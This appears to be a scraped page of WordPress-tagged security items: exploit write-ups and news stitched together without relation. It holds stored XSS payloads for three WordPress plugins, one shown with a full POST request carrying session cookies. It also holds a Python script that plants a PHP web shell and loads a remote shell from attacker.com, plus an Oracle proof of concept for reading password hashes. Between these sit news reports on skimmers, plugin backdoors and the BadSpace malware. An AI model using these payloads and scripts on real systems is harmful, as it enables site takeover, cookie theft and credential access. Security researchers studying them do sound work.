WordPress FooGallery plugin version 2.4.16 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: FooGallery version : 2.4.16 Stored XSS# Date: 2024-07-02# Exploit Author: tmrswrr# Category : Webapps# Vendor Homepage: https://wordpress.org/plugins/foogallery/# Version 2.4.16### Steps to Execute the Payload:1. **Click Add New Gallery**: [Add New Gallery](https://127.0.0.1/wp-admin/post-new.php?post_type=foogallery)2. **Write Add Title your payload**: `"><sVg/onLy=1 onLoaD=confirm(1)//`3. **Click Publish**, then click **Create Gallery Page**.4. **Verify Execution**: You will see the payload executed in the usage field.

WordPress FooGallery 2.4.16 Cross Site Scripting

WordPress Gallery version 2.3.6 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Wordpress Gallery Version 2.3.6 Stored XSS# Date: 2024-07-01# Exploit Author: tmrswrr# Category : Webapps# Vendor Homepage: https://total-soft.com/wp-video-gallery/# Version 2.3.6### Steps to Execute the Payload:1. **Access the Admin Panel:**   - Navigate to the admin panel of your WordPress site.   - Go to `TS Video Gallery  > `Create ` > ` Use Theme` via the following URL:      ```     https://127.0.0.1/wp-admin/admin.php?page=tsvg-builder&tsvg-theme=grid_video_gallery     ```2. **Insert the Payload:**   - In the **Click New Video** section, **Write Add Title insert the following payload:     ```     "><img src=x onerrora=confirm() onerror=confirm(document.cookie)>     ```3. **Save and Verify:**   - You should see the payload executed.

WordPress Gallery 2.3.6 Cross Site Scripting

WordPress WPCode Lite plugin version 2.1.14 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Wordpress WPCode Lite Version 2.1.14 Stored XSS# Date: 2024-06-30# Exploit Author: tmrswrr# Category : Webapps# Vendor Homepage: https://wpcode.com/?utm_source=wprepo&utm_medium=link&utm_campaign=liteplugin# Version 2.1.14### Steps to Execute the Payload:1. **Access the Admin Panel:**   - Navigate to the admin panel of your WordPress site.   - Go to `Code Snippets > `Edit Snippet` via the following URL:      ```     https://127.0.0.1/wp-admin/admin.php?page=wpcode-snippet-manager&snippet_id=10     ```2. **Insert the Payload:**   - In the **Code Preview** section, insert the following payload:     ```     "><img src=x onerrora=confirm() onerror=confirm(document.cookie)>     ```3. **Save and Verify:**   - Active , Save the changes.   - Navigate to the main page of your site:     ```     https://127.0.0.1/     ```   - You should see the payload executed.Post Request :POST /wp-admin/admin.php?page=wpcode-snippet-manager&snippet_id=10 HTTP/2Host: 127.0.0.1Cookie: wordpress_sec_f8b0c342e0d48561e75d0c6818e29f16=admin%7C1720960057%7CA75X38uHvZeAN0Mrrbpj5brIJolGFEapEPEUcg7PyPe%7C37619eff632d24400e28a219976a87efa83c4bae1ebe04120e54cb37dbe30a03; wordpress_logged_in_f8b0c342e0d48561e75d0c6818e29f16=admin%7C1720960057%7CA75X38uHvZeAN0Mrrbpj5brIJolGFEapEPEUcg7PyPe%7C49992c3be16529995b5429fdd992a2dc1ff8cafa77c6f72580d9dbf9f3fe82ca; wp-settings-time-1=1719753966; WP-TSW-Session=5lursai747c2vcd5uno86liv2c; wp-settings-1=editor%3DhtmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://127.0.0.1/wp-admin/admin.php?page=wpcode-snippet-manager&snippet_id=10Content-Type: application/x-www-form-urlencodedContent-Length: 673Origin: https://vagabondcreature.s3-tastewp.comDnt: 1Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailerswpcode_active=&button=publish&wpcode_snippet_title=Untitled+Snippet&wpcode_snippet_type=html&wpcode_snippet_code=%22%3E%3Cimg+src%3Dx+onerrora%3Dconfirm%28%29+onerror%3Dconfirm%28document.cookie%29%3E&wpcode_snippet_text=%3Cp%3E%22%26gt%3B%3Cimg+src%3D%22x%22+%2F%3E%3C%2Fp%3E&wpcode_auto_insert=1&wpcode_auto_insert_location_extra=&wpcode_auto_insert_number=1&wpcode_auto_insert_location=site_wide_header&wpcode-schedule-start=&wpcode-schedule-end=&wpcode_cl_rules=%5B%5D&wpcode_tags=&wpcode_priority=10&wpcode_note=&id=10&wpcode-save-snippet-nonce=73d127c1c2&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dwpcode-snippet-manager%26snippet_id%3D10%26message%3D1%26error

WordPress WPCode Lite 2.1.14 Cross Site Scripting

Despite more than 50% of all open source code being written in memory-unsafe languages like C++, we are unlikely to see a massive overhaul to code bases anytime soon.

A comprehensive new study has unearthed fresh details on the extensive and troubling use of memory-unsafe code in major open source software (OSS) projects.

However, the chances that fresh insight on a long known issue will spur any immediate changes to the software landscape remain bleak, given just how enormous, costly, and complex the task is of rewriting codebases entirely in memory-safe code.

Memory-unsafe programming languages such as C and C++ allow programmers to have more direct control over memory-related functions in code, which can often lead to very common application security issues like buffer overflows and use-after-free errors. Such flaws represent a large proportion of all vulnerabilities in modern application software. In contrast, memory-safe languages — the most common examples of which include Rust, Python, Java, and Go —offer guardrails such as built-in runtime and compile time checks to mitigate against common memory related errors.

**Most OSS Projects Contain Memory-Unsafe Code**

The US Cybersecurity and Infrastructure Security Agency (CISA) along with the FBI and counterparts at the Australian Cyber Security Centre and the Canadian Centre for Cyber Security this week released a report summarizing the results of their investigation into the use of memory-unsafe code in OSS.

The findings, while troubling, are not entirely unexpected given past data on the extensive use of memory-unsafe languages in almost all modern codebases. Fifty-two percent of the 172 major open source projects that the research authors looked at contained code written in a memory-unsafe language. More than half (55%) of the total lines of code in all the projects combined were written in a memory-unsafe language, with the larger projects being the worst culprits.

Some 95% of the total lines of code in Linux for instance are memory-unsafe. For MySQL Server, that number was 84%; for TensorFlow it was 64%; for Zephyr 84%; and for Chromium 51%. On average, 26% of the total lines of code in the 10 largest open source projects consisted of memory-unsafe code. Even projects written in memory-safe languages were at risk from dependencies on unsafe components.

"Most critical open source projects analyzed, even those written in memory-safe languages, potentially contain memory safety vulnerabilities," the report noted. "This can be caused by direct use of memory-unsafe languages or external dependency on projects that use memory-unsafe languages."

In addition, the tendency — and often the need — to disable memory-safety features to accommodate functional requirements in applications can often neutralize the benefits of using otherwise memory-safe languages.  

"These limitations highlight the need for continued diligent use of memory safe programming languages, secure coding practices, and security testing," the report authors noted.

**CISA Consistent With Previous OSS Data**

The findings are consistent with numerous previous studies that have examined the extensive problems tied to the use of memory-unsafe languages.  

And indeed, concerns over the ubiquity of the problem have prompted calls for change over the years. The most recent is a February 2024 technical report from the White House that urged industry stakeholders to go back to the building blocks and start over with using memory safe code in all software. In 2022, the US National Security Agency (NSA) urged software makers and all organizations developing software to consider adopting memory-safe languages to reduce risk from memory management related software issues in modern code bases. The continued pounding away at the topic over the years has spurred some change, but most expect it will take years — if not even decades — for a whole scale shift to memory-safe languages to happen.

"Adopting memory-safe code is challenging, primarily because changing a programming language often requires a complete rewrite of existing code," says Neatsun Ziv, CEO and Co-Founder of OX Security. The cost and effort required to undertake such a massive overhaul without significant economic incentives will likely make any change, a slow process.

**Making the World Memory-Safe: A Huge & Complex Challenge**

Omkhar Arasaratnam, general manager at OpenSSF says memory safety issues aren't specifically a problem for either open or closed-source software. It's a problem in general for all modern software.

"There are many memory-safe languages available today like JavaScript, Python, and Java, but software engineers often use memory-unsafe older languages like C/C++ for performance or low-level hardware access," he says.

Also, while Rust has emerged as a viable alternative to C/C++ for low level systems programming in recent years, there are many embedded systems and safety-critical applications for which Rust is not appropriate, he adds.

"While it is certainly possible to write memory-safe code in a memory-unsafe language, 25 years of CVEs tells us it is highly unlikely," Arasaratnam says. "It is not that people are bad programmers, but defensively writing code that is memory-safe in a memory-unsafe language is very difficult," he notes. As newer projects adopt memory-safe languages, expect the use of memory-unsafe languages to decrease over time, in all but niche applications.

Tim Mackey, head of software supply chain risk strategy at Synopsys Software Integrity Group, says the new report does a good job showing how some major open source software projects such as Kubernetes and WordPress are authored in a memory-safe language. However, there are other issues that remain unexplored, he says. For example, it would be interesting to know if memory-safe languages are being used in new projects on GitHub, and whether memory-safe libraries are being used as dependencies in larger projects.

"We can safely say that awareness of memory safe languages is growing, but is it growing at a rate that would displace older languages? For example, are the creators of new embedded software solutions using C++ or Rust, and to what degree?"

**About the Author(s)**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

CISA's Flags Memory-Unsafe Code in Major Open Source Projects

Multiple content management system (CMS) platforms like WordPress, Magento, and OpenCart have been targeted by a new credit card web skimmer called Caesar Cipher Skimmer.
A web skimmer refers to malware that is injected into e-commerce sites with the goal of stealing financial and payment information. 
According to Sucuri, the latest campaign entails making malicious modifications to the

Web Skimming / Website Security

Multiple content management system (CMS) platforms like WordPress, Magento, and OpenCart have been targeted by a new credit card web skimmer called Caesar Cipher Skimmer.

A web skimmer refers to malware that is injected into e-commerce sites with the goal of stealing financial and payment information.

According to Sucuri, the latest campaign entails making malicious modifications to the checkout PHP page associated with the WooCommerce plugin for WordPress ("form-checkout.php") to steal credit card details.

"For the past few months, the injections have been changed to look less suspicious than a long obfuscated script," security researcher Ben Martin said, noting the malware's attempt to masquerade as Google Analytics and Google Tag Manager.

Specifically, it employs the same substitution mechanism employed in Caesar cipher to encode the malicious piece of code into a garbled string and conceal the external domain that's used to host the payload.

It's presumed that all the websites have been previously compromised through other means to stage a PHP script that goes by the names "style.css" and "css.php" in an apparent effort to mimic an HTML style sheet and evade detection.

These scripts, in turn, are designed to load another obfuscated JavaScript code that creates a WebSocket and connects to another server to fetch the actual skimmer.

"The script sends the URL of the current web pages, which allows the attackers to send customized responses for each infected site," Martin pointed out. "Some versions of the second layer script even check if it is loaded by a logged-in WordPress user and modify the response for them."

Some versions of the script have programmer-readable explanations (aka comments) written in Russian, suggesting that the threat actors behind the operation are Russian-speaking.

The form-checkout.php file in WooCommerce is not the only method used to deploy the skimmer, for the attackers have also been spotted misusing the legitimate WPCode plugin to inject it into the website database.

On websites that use Magento, the JavaScript injections are performed on database tables such as core\_config\_data. It's currently not known how this is accomplished on OpenCart sites.

Due to its prevalent use as a foundation for websites, WordPress and the larger plugin ecosystem have become a lucrative target for malicious actors, allowing them easy access to a vast attack surface.

It's imperative that site owners keep their CMS software and plugins up-to-date, enforce password hygiene, and periodically audit them for the presence of suspicious administrator accounts.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

New Credit Card Skimmer Targets WordPress, Magento, and OpenCart Sites

Injected malicious JavaScript code gives attackers administrator rights on websites, and fills sites with SEO spam.

Source: Primakov via Shutterstock

A threat actor or actors has compromised multiple plug-ins on the WordPress.org site with code aimed at giving attackers administrative privileges as well as conducting further malicious activity.

WordPress.org's Plug-in Review team warned users on Monday that a plug-in called Social Warfare was infected by malicious code, according to a forum post. After noticing the post, Wordfence researchers did some follow-up and discovered that there were several more WordPress.org plug-ins injected with the same code, according to a blog post published by Wordfence on June 24.

In addition to Social Warfare, versions 4.4.6.4 and 4.4.7.1, the affected plug-ins include: Blaze Widget v2.2.5 to 2.5.2; Wrapper Link Element v1.0.2 to 1.0.3; Contact Form 7 Multi-Step Addon v1.0.4 to 1.0.5; and Simply Show Hooks v1.2.1.

Of the plug-ins, Social Warfare (a social-media-themed offering) has the most installations, with more than 30,000; the rest reached no more than hundreds at the most. Still, the presence of the same malicious code across all of them should raise alarm bells, as it suggests attempts at a larger supply chain attack, according to Wordfence.

Social Warfare has been patched in version 4.4.7.3; however, it and all of the affected plug-ins have been delisted and are unavailable for download, at least temporarily, though WordPress.org did not respond when Wordfence reached out about its discovery.

None of the other plug-ins currently have a patched version; however, someone has removed the malicious code from Wrapper Link Element in a current version that's been tagged as 1.0.0, which is lower than the infected versions and thus may make it difficult for users to update, according to Wordfence.

**Malicious Behavior**

The malicious code injected in the plug-ins "attempts to create a new administrative user account and then sends those details back to the attacker-controlled server" located at 94.156.79.8, Wordfence threat intelligence lead Chloe Chamberland wrote in the post. The campaign also uses the plug-ins to inject malicious JavaScript into the footer of websites and to add SEO spam throughout it, she said.

"The injected malicious code is not very sophisticated or heavily obfuscated and contains comments throughout making it easy to follow," Chamberland added.

The origin of the attack was likely June 21, and attackers were still updating plug-ins about five hours before WordFence published its post on the attack on June 24. The researchers still don't know exactly how the infection began, and is performing a deeper analysis with updates to follow, she said.

**Mitigating Attacks Via WordPress Plug-Ins**

Due to its widespread use as a foundation for websites, the WordPress platform and its plug-ins especially are a notoriously popular target for threat actors, giving them easy access to a broad attack surface. Typically, attackers target singular plug-ins with large install bases; however, the new attack suggests that attackers now may be eyeing more ambitious supply chain attacks across multiple plug-ins to broaden the impact of malicious campaigns, according to Wordfence.

As such an attack demands greater vigilance, Wordfence — which focuses on the security of the WordPress platform — is actively working on a set of malware signatures to provide detection for these compromised plug-ins. In the meantime, anyone using any of the plug-ins should remove them from any websites immediately and "go into incident-response mode," Chamberland said.

"We recommend checking your WordPress administrative user accounts and deleting any that are unauthorized, along with running a complete malware scan" to remove any malicious code, she said.

Wordfence also included in the post various indicators of compromise (IoCs) — including known usernames associated with attacker-controlled admin accounts — that WordPress administrators can use to identify evidence of the campaign. Also included is a link to a guide that provides advice on how to clean WordPress-based websites of malicious code.

**About the Author(s)**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

WordPress Supply Chain Attack Spreads Across Multiple Plug-ins

Multiple WordPress plugins have been backdoored to inject malicious code that makes it possible to create rogue administrator accounts with the aim of performing arbitrary actions.
"The injected malware attempts to create a new administrative user account and then sends those details back to the attacker-controlled server," Wordfence security researcher Chloe Chamberland said in a Monday alert.

Multiple WordPress plugins have been backdoored to inject malicious code that makes it possible to create rogue administrator accounts with the aim of performing arbitrary actions.

"The injected malware attempts to create a new administrative user account and then sends those details back to the attacker-controlled server," Wordfence security researcher Chloe Chamberland said in a Monday alert.

"In addition, it appears the threat actor also injected malicious JavaScript into the footer of websites that appears to add SEO spam throughout the website."

The admin accounts have the usernames "Options" and "PluginAuth," with the account information exfiltrated to the IP address 94.156.79\[.\]8.

It's currently not known how the unknown attackers behind the campaign managed to compromise the plugins, but the earliest signs of the software supply chain attack date back to June 21, 2024.

The plugins in question are no longer available for download from the WordPress plugin directory pending ongoing review -

*   Social Warfare 4.4.6.4 – 4.4.7.1 (Patched version: 4.4.7.3) - 30,000+ installs
*   Blaze Widget 2.2.5 – 2.5.2 (Patched version: N/A) - 10+ installs
*   Wrapper Link Element 1.0.2 – 1.0.3 (Patched version: N/A) - 1,000+ installs
*   Contact Form 7 Multi-Step Addon 1.0.4 – 1.0.5 (Patched version: N/A) - 700+ installs
*   Simply Show Hooks 1.2.1 (Patched version: N/A) - 4,000+ installs

Users of the aforementioned plugins are advised to inspect their sites for suspicious administrator accounts and delete them, in addition to removing any malicious code.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Multiple WordPress Plugins Compromised: Hackers Create Rogue Admin Accounts

WordPress RFC WordPress plugin version 6.0.8 suffers from a remote shell upload vulnerability.

    Exploit for Remote Code Execution (RCE) in RFC WordPress 6.0.8 import requestsimport sys target = "https://target.com" # Exploit for Remote Code Execution (RCE) in RFC WordPress 6.0.8#CODE BY E1.Coders  "The King of Security"def exploit_rfc_wordpress():    url = f"{target}/wp-content/plugins/rfc-wordpress/rfc.php"    payload = "<?php system($_GET['cmd']); ?>"       try:        response = requests.post(url, data={"rfc_action": "save_settings", "rfc_settings": payload})        if response.status_code == 200:            print("RCE exploit successful!")            print(f"Visit {url}?cmd=whoami to execute commands")        else:            print("RCE exploit failed.")    except requests.exceptions.RequestException as e:        print(f"Error: {e}") # Exploit for Remote File Inclusion (RFI) in RFC WordPressdef exploit_rfi_rfc_wordpress():    url = f"{target}/wp-content/plugins/rfc-wordpress/rfc.php?rfc_action=save_settings"    payload = "http://attacker.com/shell.php"       try:        response = requests.post(url, data={"rfc_settings": payload})        if response.status_code == 200:            print("RFI exploit successful!")            print(f"Visit {target}/wp-content/plugins/rfc-wordpress/shell.php to execute commands")        else:            print("RFI exploit failed.")    except requests.exceptions.RequestException as e:        print(f"Error: {e}") if __name__ == "__main__":    exploit_rfc_wordpress()    exploit_rfi_rfc_wordpress()

WordPress RFC WordPress 6.0.8 Shell Upload

Legitimate-but-compromised websites are being used as a conduit to deliver a Windows backdoor dubbed BadSpace under the guise of fake browser updates.
"The threat actor employs a multi-stage attack chain involving an infected website, a command-and-control (C2) server, in some cases a fake browser update, and a JScript downloader to deploy a backdoor into the victim's system," German

Legitimate-but-compromised websites are being used as a conduit to deliver a Windows backdoor dubbed **BadSpace** under the guise of fake browser updates.

"The threat actor employs a multi-stage attack chain involving an infected website, a command-and-control (C2) server, in some cases a fake browser update, and a JScript downloader to deploy a backdoor into the victim's system," German cybersecurity company G DATA said in a report.

Details of the malware were first shared by researchers kevross33 and Gi7w0rm last month.

It all starts with a compromised website, including those built on WordPress, to inject code that incorporates logic to determine if a user has visited the site before.

Should it be the user's first visit, the code collects information about the device, IP address, user-agent, and location, and transmits it to a hard-coded domain via an HTTP GET request.

The response from the server subsequently overlays the contents of the web page with a phony Google Chrome update pop-up window to either directly drop the malware or a JavaScript downloader that, in turn, downloads and executes BadSpace.

An analysis of the C2 servers used in the campaign has uncovered connections to a known malware called SocGholish (aka FakeUpdates), a JavaScript-based downloader malware that's propagated via the same mechanism.

BadSpace, in addition to employing anti-sandbox checks and setting up persistence using scheduled tasks, is capable of harvesting system information and processing commands that allow it to take screenshots, execute instructions using cmd.exe, read and write files, and delete the scheduled task.

The disclosure comes as both eSentire and Sucuri have warned different campaigns leveraging bogus browser update lures in compromised sites to distribute information stealers and remote access trojans.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Hackers Exploit Legitimate Websites to Deliver BadSpace Windows Backdoor

Oracle Database versions 11.2.0.4, 12.1.0.2, 12.2.0.1, 18c, and 19c allows for unauthorized access to password hashes by an account with the DBA role.

Title: CVE-2020-2969 – Unauthorized Access to Password Hashes by Account with DBA role  
Product:                   Database  
Manufacturer:              Oracle  
Affected Version(s):       11.2.0.4, 12.1.0.2, 12.2.0.1, 18c, 19c  
Tested Version(s):         11.2.0.4, 12.1.0.2, 12.2.0.1, 18c, 19c  
Risk Level:                Medium  
Solution Status:           Fixed  
CVE Reference:             CVE-2020-2969  
Base Score:                6.6   
Author of Advisory:        Emad Al-Mousa

*****************************************  
Vulnerability Details:

Vulnerability in the Data Pump component of Oracle Database Server. Supported versions that are affected are 11.2.0.4, 12.1.0.2, 12.2.0.1, 18c and 19c. Difficult to exploit vulnerability allows high privileged attacker having DBA role account privilege with network access via Oracle Net to compromise Data Pump. Successful attacks of this vulnerability can result in takeover of Data Pump.

The presented  scenarios illustrates that an account with “DBA” role can still view/extract the password hashes although the account can’t directly query SYS.USER$ table as a security enhancement since “select any dictionary” system privilege doesn’t provide access to SYS.USER$ anymore

*****************************************  
Proof of Concept (PoC):

This simulation was performed in Oracle Non-CDB environment, and is applicable of course in CDB setup also.

SQL> create user ninja identified by hello_123;

SQL> grant create session to ninja;

SQL> grant dba to ninja;

SQL> alter user ninja default role all;

*** when attempting to select from SYS.USER$ the account will not be able since the system privilege “SELECT ANY DICTIONARY” is changed by restricting direct access to multiple SYS tables such as USER$, ENC$,DEFAULT_PWD$, LINK$, USER_HISTORY$, CDB_LOCAL_ADMINAUTH$

SQL> select * from sys.user$;  
select * from sys.user$  
                  *  
ERROR at line 1:  
ORA-01031: insufficient privileges

** I will perform dump to the system data file to gain access to the hashed passwords

SQL> alter system dump datafile 1 block min 210 block max 215;

** Then immediately I will check the generated trace file name using the query:

SQL> select * from v$diag_info where NAME='Default Trace File';

** I will query the “payload” column of the view V$DIAG_TRACE_FILE that will read the generated trace file contents:

SQL> select payload from V$DIAG_TRACE_FILE_CONTENTS where TRACE_FILENAME='ORCLCDB_ora_6029.trc';

// the password hash will be exposed in the trace file !

After applying Oracle July 2020 CPU patches- try to re-simulate again:

SQL> create user ninja identified by hello_123;

  SQL> grant create session to ninja;

  SQL> grant dba to ninja;

  SQL> alter user ninja default role all;

  SQL> show user  
USER is "NINJA"

SQL> select * from sys.user$;  
select * from sys.user$  
                  *  
ERROR at line 1:  
ORA-01031: insufficient privileges

  SQL> alter system dump datafile 1 block min 210 block max 215;  
alter system dump datafile 1 block min 210 block max 215  
*  
ERROR at line 1:  
ORA-01031: insufficient privileges

 SQL> select * from v$diag_info where NAME='Default Trace File';

    INST_ID NAME  
---------- ----------------------------------------------------------------  
VALUE  
--------------------------------------------------------------------------------  
    CON_ID  
----------  
         1 Default Trace File  
/exp/ora5/diagnostic/diag/rdbms/ora5/ora5/trace/ora5_ora_1171  
16.trc

 SQL> select payload from V$DIAG_TRACE_FILE_CONTENTS where TRACE_FILENAME='ora5_ora_117116.trc';

 PAYLOAD  
--------------------------------------------------------------------------------  
Trace file   
/exp/ora5/diagnostic/diag/rdbms/ora5/ora5/trace/ora5_ora_1171  
16.trc

 Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production  
Version 19.8.0.0.0  
Build label:    RDBMS_19.8.0.0.0DBRU_LINUX.X64_200702  
ORACLE_HOME:    /oraclex/oradbp05/product/19.3  
System name:    Linux  
Node name:      boba  
Release:        3.10.0-1127.13.1.el7.x86_64  
Version:        #1 SMP Fri Jun 12 14:34:17 EDT 2020

 PAYLOAD  
--------------------------------------------------------------------------------  
Machine:        x86_64  
Instance name: ora5  
Redo thread mounted by this instance: 1  
Oracle process number: 69  
Unix process pid: 117116, image: oracle@boba (TNS V1-V3)

  *** 2020-07-16T11:09:31.240875+03:00

 *** SESSION ID:(1174.5281) 2020-07-16T11:09:31.240917+03:00  
*** CLIENT ID:() 2020-07-16T11:09:31.240926+03:00

 PAYLOAD  
--------------------------------------------------------------------------------  
*** SERVICE NAME:(SYS$USERS) 2020-07-16T11:09:31.240932+03:00  
*** MODULE NAME:(SQL*Plus) 2020-07-16T11:09:31.240938+03:00  
*** ACTION NAME:() 2020-07-16T11:09:31.240943+03:00  
*** CLIENT DRIVER:(SQL*PLUS) 2020-07-16T11:09:31.240948+03:00

 Error: file 1 can only be dumped with SYSDBA privillege

*****************************************  
References:  
https://www.oracle.com/security-alerts/cpujul2020.html  
https://www.oracle.com/security-alerts/cpujul2020verbose.html  
https://nvd.nist.gov/vuln/detail/CVE-2020-2969  
https://databasesecurityninja.wordpress.com/2024/06/10/cve-2020-2969-unauthorized-access-to-password-hashes-by-account-with-dba-role/

Tag

#wordpress